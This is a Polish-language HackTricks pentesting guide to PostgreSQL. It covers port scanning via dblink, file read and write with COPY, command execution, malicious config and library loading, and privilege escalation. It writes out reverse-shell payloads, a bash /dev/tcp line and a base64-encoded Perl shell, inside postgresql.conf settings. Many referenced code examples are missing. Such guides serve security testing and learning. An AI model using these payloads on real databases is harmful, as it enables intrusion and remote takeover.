5432,5433 - Pentesting Postgresql
Last updated
Last updated
Użyj Trickest, aby łatwo budować i automatyzować przepływy pracy zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie. Uzyskaj dostęp już dziś:
PostgreSQL jest opisany jako system baz danych obiektowo-relacyjnych, który jest open source. System ten nie tylko wykorzystuje język SQL, ale także wzbogaca go o dodatkowe funkcje. Jego możliwości pozwalają na obsługę szerokiego zakresu typów danych i operacji, co czyni go wszechstronnym wyborem dla programistów i organizacji.
Domyślny port: 5432, a jeśli ten port jest już zajęty, wydaje się, że postgresql użyje następnego portu (prawdopodobnie 5433), który nie jest zajęty.
Jeśli uruchamiając \list
znajdziesz bazę danych o nazwie rdsadmin
, wiesz, że jesteś w bazie danych PostgreSQL AWS.
Aby uzyskać więcej informacji na temat jak nadużywać bazę danych PostgreSQL, sprawdź:
PostgreSQL injectionZgodnie z tym badaniem, gdy próba połączenia kończy się niepowodzeniem, dblink
zgłasza wyjątek sqlclient_unable_to_establish_sqlconnection
, który zawiera wyjaśnienie błędu. Przykłady tych szczegółów są wymienione poniżej.
Host jest niedostępny
DETAIL: nie można połączyć się z serwerem: Brak trasy do hosta Czy serwer działa na hoście "1.2.3.4" i akceptuje połączenia TCP/IP na porcie 5678?
Port jest zamknięty
Port jest otwarty
or
Port jest otwarty lub filtrowany
W funkcjach PL/pgSQL obecnie nie jest możliwe uzyskanie szczegółów wyjątków. Jednak jeśli masz bezpośredni dostęp do serwera PostgreSQL, możesz uzyskać potrzebne informacje. Jeśli wydobycie nazw użytkowników i haseł z tabel systemowych nie jest możliwe, możesz rozważyć wykorzystanie metody ataku słownikowego omówionej w poprzedniej sekcji, ponieważ może to przynieść pozytywne rezultaty.
rolsuper
Rola ma uprawnienia superużytkownika
rolinherit
Rola automatycznie dziedziczy uprawnienia ról, których jest członkiem
rolcreaterole
Rola może tworzyć więcej ról
rolcreatedb
Rola może tworzyć bazy danych
rolcanlogin
Rola może się zalogować. To znaczy, ta rola może być użyta jako początkowy identyfikator autoryzacji sesji
rolreplication
Rola jest rolą replikacji. Rola replikacji może inicjować połączenia replikacyjne oraz tworzyć i usuwać sloty replikacji.
rolconnlimit
Dla ról, które mogą się logować, ustawia maksymalną liczbę jednoczesnych połączeń, które ta rola może nawiązać. -1 oznacza brak limitu.
rolpassword
Nie hasło (zawsze odczytywane jako ********
)
rolvaliduntil
Czas wygaśnięcia hasła (używane tylko do uwierzytelniania hasłem); null, jeśli brak wygaśnięcia
rolbypassrls
Rola omija każdą politykę bezpieczeństwa na poziomie wiersza, zobacz Sekcja 5.8 po więcej informacji.
rolconfig
Domyślne wartości specyficzne dla roli dla zmiennych konfiguracyjnych w czasie wykonywania
oid
ID roli
Jeśli jesteś członkiem pg_execute_server_program
, możesz wykonywać programy
Jeśli jesteś członkiem pg_read_server_files
, możesz czytać pliki
Jeśli jesteś członkiem pg_write_server_files
, możesz zapisywać pliki
Zauważ, że w Postgres użytkownik, grupa i rola to to samo. To zależy od tego, jak to używasz i czy pozwalasz na logowanie.
Z tego commit członkowie zdefiniowanej grupy DEFAULT_ROLE_READ_SERVER_FILES
(nazywanej pg_read_server_files
) oraz super użytkownicy mogą używać metody COPY
na dowolnej ścieżce (sprawdź convert_and_check_filename
w genfile.c
):
Pamiętaj, że jeśli nie jesteś superużytkownikiem, ale masz uprawnienia CREATEROLE, możesz dodać się do tej grupy:
Istnieją inne funkcje postgres, które można wykorzystać do odczytu pliku lub wylistowania katalogu. Tylko superużytkownicy i użytkownicy z wyraźnymi uprawnieniami mogą z nich korzystać:
Możesz znaleźć więcej funkcji w https://www.postgresql.org/docs/current/functions-admin.html
Tylko super użytkownicy i członkowie pg_write_server_files
mogą używać copy do zapisywania plików.
Pamiętaj, że jeśli nie jesteś superużytkownikiem, ale masz uprawnienia CREATEROLE
, możesz stać się członkiem tej grupy:
Pamiętaj, że COPY nie obsługuje znaków nowej linii, dlatego nawet jeśli używasz ładunku base64, musisz wysłać jedną linię.
Bardzo ważnym ograniczeniem tej techniki jest to, że copy
nie może być używane do zapisywania plików binarnych, ponieważ modyfikuje niektóre wartości binarne.
Jednak istnieją inne techniki przesyłania dużych plików binarnych:
Big Binary Files Upload (PostgreSQL)Wskazówka dotycząca bug bounty: zarejestruj się w Intigriti, premium platformie bug bounty stworzonej przez hakerów, dla hackerów! Dołącz do nas na https://go.intigriti.com/hacktricks już dziś i zacznij zarabiać nagrody do 100 000 USD!
Jeśli masz niezbędne uprawnienia do odczytu i zapisu plików serwera PostgreSQL, możesz zaktualizować dowolną tabelę na serwerze, nadpisując powiązany węzeł pliku w katalogu danych PostgreSQL. Więcej na ten temat tutaj.
Wymagane kroki:
Uzyskaj katalog danych PostgreSQL
Uwaga: Jeśli nie możesz pobrać aktualnej ścieżki katalogu danych z ustawień, możesz zapytać o główną wersję PostgreSQL za pomocą zapytania SELECT version()
i spróbować wymusić ścieżkę. Typowe ścieżki katalogów danych w instalacjach PostgreSQL na systemach Unix to /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/
. Typowa nazwa klastra to main
. 2. Uzyskaj względną ścieżkę do węzła pliku, powiązanego z docelową tabelą
To zapytanie powinno zwrócić coś w stylu base/3/1337
. Pełna ścieżka na dysku będzie wynosić $DATA_DIRECTORY/base/3/1337
, tj. /var/lib/postgresql/13/main/base/3/1337
. 3. Pobierz węzeł pliku za pomocą funkcji lo_*
Uzyskaj typ danych, powiązany z docelową tabelą
Użyj PostgreSQL Filenode Editor, aby edytować węzeł pliku; ustaw wszystkie flagi boolean rol*
na 1, aby uzyskać pełne uprawnienia.
6. Ponownie załaduj edytowany węzeł pliku za pomocą funkcji lo_*
i nadpisz oryginalny plik na dysku
(Opcjonalnie) Wyczyść pamięć podręczną tabeli w pamięci, uruchamiając kosztowne zapytanie SQL
Teraz powinieneś zobaczyć zaktualizowane wartości tabeli w PostgreSQL.
Możesz również stać się superadministratorem, edytując tabelę pg_authid
. Zobacz następną sekcję.
Od wersji 9.3 tylko superużytkownicy i członkowie grupy pg_execute_server_program
mogą używać copy do RCE (przykład z eksfiltracją:
Przykład do exec:
Pamiętaj, że jeśli nie jesteś superużytkownikiem, ale masz uprawnienia CREATEROLE
, możesz dodać się do tej grupy:
Lub użyj modułu multi/postgres/postgres_copy_from_program_cmd_exec
z metasploit.
Więcej informacji na temat tej podatności tutaj. Chociaż zgłoszono to jako CVE-2019-9193, Postges ogłosił, że to funkcja i nie zostanie naprawiona.
Gdy nauczyłeś się z poprzedniego posta jak przesyłać pliki binarne, możesz spróbować uzyskać RCE przesyłając rozszerzenie postgresql i ładując je.
RCE with PostgreSQL ExtensionsNastępujące wektory RCE są szczególnie przydatne w ograniczonych kontekstach SQLi, ponieważ wszystkie kroki można wykonać za pomocą zagnieżdżonych zapytań SELECT
Plik konfiguracyjny PostgreSQL jest zapisywalny przez użytkownika postgres, który uruchamia bazę danych, więc jako superużytkownik możesz zapisywać pliki w systemie plików, a tym samym możesz nadpisać ten plik.
Więcej informacji na temat tej techniki tutaj.
Plik konfiguracyjny ma kilka interesujących atrybutów, które mogą prowadzić do RCE:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
Ścieżka do klucza prywatnego bazy danych
ssl_passphrase_command = ''
Jeśli plik prywatny jest chroniony hasłem (szyfrowany), postgresql wykona polecenie wskazane w tym atrybucie.
ssl_passphrase_command_supports_reload = off
Jeśli ten atrybut jest włączony, to polecenie wykonywane, jeśli klucz jest chroniony hasłem, zostanie wykonane, gdy pg_reload_conf()
jest wykonywane.
Wtedy atakujący będzie musiał:
Zrzucić klucz prywatny z serwera
Szyfrować pobrany klucz prywatny:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
Nadpisać
Zrzucić aktualną konfigurację postgresql
Nadpisać konfigurację z wymienionymi atrybutami:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
Wykonać pg_reload_conf()
Podczas testowania zauważyłem, że to zadziała tylko wtedy, gdy plik klucza prywatnego ma uprawnienia 640, jest własnością roota i grupy ssl-cert lub postgres (tak aby użytkownik postgres mógł go odczytać) i znajduje się w /var/lib/postgresql/12/main.
Więcej informacji na temat tej konfiguracji i WAL tutaj.
Innym atrybutem w pliku konfiguracyjnym, który można wykorzystać, jest archive_command
.
Aby to zadziałało, ustawienie archive_mode
musi być 'on'
lub 'always'
. Jeśli to prawda, możemy nadpisać polecenie w archive_command
i wymusić jego wykonanie za pomocą operacji WAL (logowanie przed zapisaniem).
Ogólne kroki to:
Sprawdź, czy tryb archiwizacji jest włączony: SELECT current_setting('archive_mode')
Nadpisz archive_command
ładunkiem. Na przykład, odwrócone powłokę: archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
Przeładuj konfigurację: SELECT pg_reload_conf()
Wymuś wykonanie operacji WAL, co spowoduje wywołanie polecenia archiwizacji: SELECT pg_switch_wal()
lub SELECT pg_switch_xlog()
dla niektórych wersji Postgres
Więcej informacji na temat tej techniki tutaj.
Ten wektor ataku wykorzystuje następujące zmienne konfiguracyjne:
session_preload_libraries
-- biblioteki, które będą ładowane przez serwer PostgreSQL podczas połączenia klienta.
dynamic_library_path
-- lista katalogów, w których serwer PostgreSQL będzie szukał bibliotek.
Możemy ustawić wartość dynamic_library_path
na katalog, który jest zapisywalny przez użytkownika postgres
uruchamiającego bazę danych, np. katalog /tmp/
, i przesłać tam złośliwy obiekt .so
. Następnie wymusimy, aby serwer PostgreSQL załadował naszą nowo przesłaną bibliotekę, włączając ją w zmienną session_preload_libraries
.
Kroki ataku to:
Pobierz oryginalny postgresql.conf
Włącz katalog /tmp/
w wartość dynamic_library_path
, np. dynamic_library_path = '/tmp:$libdir'
Włącz nazwę złośliwej biblioteki w wartość session_preload_libraries
, np. session_preload_libraries = 'payload.so'
Sprawdź główną wersję PostgreSQL za pomocą zapytania SELECT version()
Skompiluj kod złośliwej biblioteki z odpowiednim pakietem deweloperskim PostgreSQL Przykładowy kod:
Kompilacja kodu:
Prześlij złośliwy postgresql.conf
, utworzony w krokach 2-3, i nadpisz oryginalny
Prześlij payload.so
z kroku 5 do katalogu /tmp
Przeładuj konfigurację serwera, uruchamiając ponownie serwer lub wywołując zapytanie SELECT pg_reload_conf()
Przy następnym połączeniu z bazą danych otrzymasz połączenie z odwróconą powłoką.
Zgodnie z dokumentacją: Role mające CREATEROLE
uprawnienia mogą przyznawać lub odbierać członkostwo w dowolnej roli, która nie jest superużytkownikiem.
Więc, jeśli masz uprawnienia CREATEROLE
, możesz przyznać sobie dostęp do innych ról (które nie są superużytkownikami), co może dać ci możliwość odczytu i zapisu plików oraz wykonywania poleceń:
Użytkownicy z tą rolą mogą również zmieniać hasła innych nie-superużytkowników:
Jest dość powszechne, że lokalni użytkownicy mogą logować się do PostgreSQL bez podawania hasła. Dlatego, gdy już zdobędziesz uprawnienia do wykonywania kodu, możesz nadużyć tych uprawnień, aby nadać sobie rolę SUPERUSER
:
To zazwyczaj możliwe dzięki następującym liniom w pliku pg_hba.conf
:
W tym artykule wyjaśniono, jak możliwe było privesc w Postgres GCP, wykorzystując uprawnienia ALTER TABLE, które zostały przyznane użytkownikowi.
Kiedy próbujesz uczynić innego użytkownika właścicielem tabeli, powinieneś otrzymać błąd uniemożliwiający to, ale najwyraźniej GCP dał tę opcję użytkownikowi postgres, który nie jest superużytkownikiem w GCP:
Łącząc tę ideę z faktem, że kiedy polecenia INSERT/UPDATE/ANALYZE są wykonywane na tabeli z funkcją indeksu, funkcja jest wywoływana jako część polecenia z uprawnieniami właściciela tabeli. Możliwe jest stworzenie indeksu z funkcją i przyznanie uprawnień właściciela superużytkownikowi nad tą tabelą, a następnie uruchomienie ANALYZE na tabeli z złośliwą funkcją, która będzie mogła wykonywać polecenia, ponieważ korzysta z uprawnień właściciela.
Zacznij od utworzenia nowej tabeli.
Wstaw do tabeli kilka nieistotnych danych, aby dostarczyć dane dla funkcji indeksu.
Opracuj złośliwą funkcję indeksu, która zawiera ładunek do wykonania kodu, umożliwiając wykonywanie nieautoryzowanych poleceń.
ZMIEŃ właściciela tabeli na "cloudsqladmin", który jest rolą superużytkownika GCP używaną wyłącznie przez Cloud SQL do zarządzania i utrzymywania bazy danych.
Wykonaj operację ANALYZE na tabeli. Ta akcja zmusza silnik PostgreSQL do przełączenia się na kontekst użytkownika właściciela tabeli, "cloudsqladmin." W konsekwencji złośliwa funkcja indeksu jest wywoływana z uprawnieniami "cloudsqladmin", co umożliwia wykonanie wcześniej nieautoryzowanego polecenia powłoki.
W PostgreSQL ten proces wygląda mniej więcej tak:
Następnie tabela shell_commands_results
będzie zawierać wyniki wykonanego kodu:
Niektóre źle skonfigurowane instancje postgresql mogą pozwalać na logowanie się dowolnego lokalnego użytkownika, możliwe jest logowanie z 127.0.0.1 za pomocą funkcji dblink
:
Zauważ, że aby poprzednie zapytanie działało, funkcja dblink
musi istnieć. Jeśli nie istnieje, możesz spróbować ją utworzyć za pomocą
Jeśli masz hasło użytkownika z większymi uprawnieniami, ale użytkownik nie ma pozwolenia na logowanie z zewnętrznego adresu IP, możesz użyć następującej funkcji, aby wykonywać zapytania jako ten użytkownik:
Można sprawdzić, czy ta funkcja istnieje za pomocą:
W tym opisie, pentesterzy byli w stanie uzyskać podwyższone uprawnienia w instancji postgres dostarczonej przez IBM, ponieważ znaleźli tę funkcję z flagą SECURITY DEFINER:
Jak wyjaśniono w dokumentacji, funkcja z SECURITY DEFINER jest wykonywana z uprawnieniami użytkownika, który ją posiada. Dlatego, jeśli funkcja jest vulnerybilna na SQL Injection lub wykonuje jakieś uprzywilejowane działania z parametrami kontrolowanymi przez atakującego, może być nadużywana do eskalacji uprawnień w postgres.
W linii 4 poprzedniego kodu widać, że funkcja ma flagę SECURITY DEFINER.
I następnie wykonaj polecenia:
PL/pgSQL to w pełni funkcjonalny język programowania, który oferuje większą kontrolę proceduralną w porównaniu do SQL. Umożliwia użycie pętli i innych struktur kontrolnych w celu ulepszenia logiki programu. Ponadto, instrukcje SQL i wyzwalacze mają możliwość wywoływania funkcji stworzonych za pomocą języka PL/pgSQL. Ta integracja pozwala na bardziej kompleksowe i wszechstronne podejście do programowania i automatyzacji baz danych. Możesz nadużyć tego języka, aby poprosić PostgreSQL o przeprowadzenie ataku brute-force na dane logowania użytkowników.
PL/pgSQL Password BruteforceNastępujący wektor privesc jest szczególnie przydatny w ograniczonych kontekstach SQLi, ponieważ wszystkie kroki można wykonać za pomocą zagnieżdżonych instrukcji SELECT
Jeśli możesz czytać i pisać pliki serwera PostgreSQL, możesz stać się superużytkownikiem, nadpisując węzeł pliku na dysku PostgreSQL, związany z wewnętrzną tabelą pg_authid
.
Przeczytaj więcej o tej technice tutaj.
Kroki ataku to:
Uzyskaj katalog danych PostgreSQL
Uzyskaj względną ścieżkę do węzła pliku, związanego z tabelą pg_authid
Pobierz węzeł pliku za pomocą funkcji lo_*
Uzyskaj typ danych, związany z tabelą pg_authid
Użyj Edytora Węzłów Plików PostgreSQL, aby edytować węzeł pliku; ustaw wszystkie flagi boolean rol*
na 1, aby uzyskać pełne uprawnienia.
Ponownie załaduj edytowany węzeł pliku za pomocą funkcji lo_*
i nadpisz oryginalny plik na dysku
(Opcjonalnie) Wyczyść pamięć podręczną tabeli w pamięci, uruchamiając kosztowne zapytanie SQL
Teraz powinieneś mieć uprawnienia pełnego superadministratora.
W pliku postgresql.conf możesz włączyć logi postgresql, zmieniając:
Then, zrestartuj usługę.
pgadmin to platforma administracyjna i deweloperska dla PostgreSQL. Możesz znaleźć hasła w pliku pgadmin4.db Możesz je odszyfrować za pomocą funkcji decrypt w skrypcie: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
Uwierzytelnianie klientów w PostgreSQL jest zarządzane przez plik konfiguracyjny o nazwie pg_hba.conf. Plik ten zawiera szereg rekordów, z których każdy określa typ połączenia, zakres adresów IP klientów (jeśli dotyczy), nazwę bazy danych, nazwę użytkownika oraz metodę uwierzytelniania, która ma być użyta do dopasowania połączeń. Pierwszy rekord, który pasuje do typu połączenia, adresu klienta, żądanej bazy danych i nazwy użytkownika, jest używany do uwierzytelniania. Nie ma możliwości awaryjnej ani zapasowej, jeśli uwierzytelnienie się nie powiedzie. Jeśli żaden rekord nie pasuje, dostęp jest odmawiany.
Dostępne metody uwierzytelniania oparte na haśle w pg_hba.conf to md5, crypt i password. Metody te różnią się sposobem przesyłania hasła: haszowane MD5, szyfrowane crypt lub w postaci czystego tekstu. Ważne jest, aby zauważyć, że metoda crypt nie może być używana z hasłami, które zostały zaszyfrowane w pg_authid.
Użyj Trickest, aby łatwo budować i automatyzować przepływy pracy zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie. Uzyskaj dostęp już dziś:
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)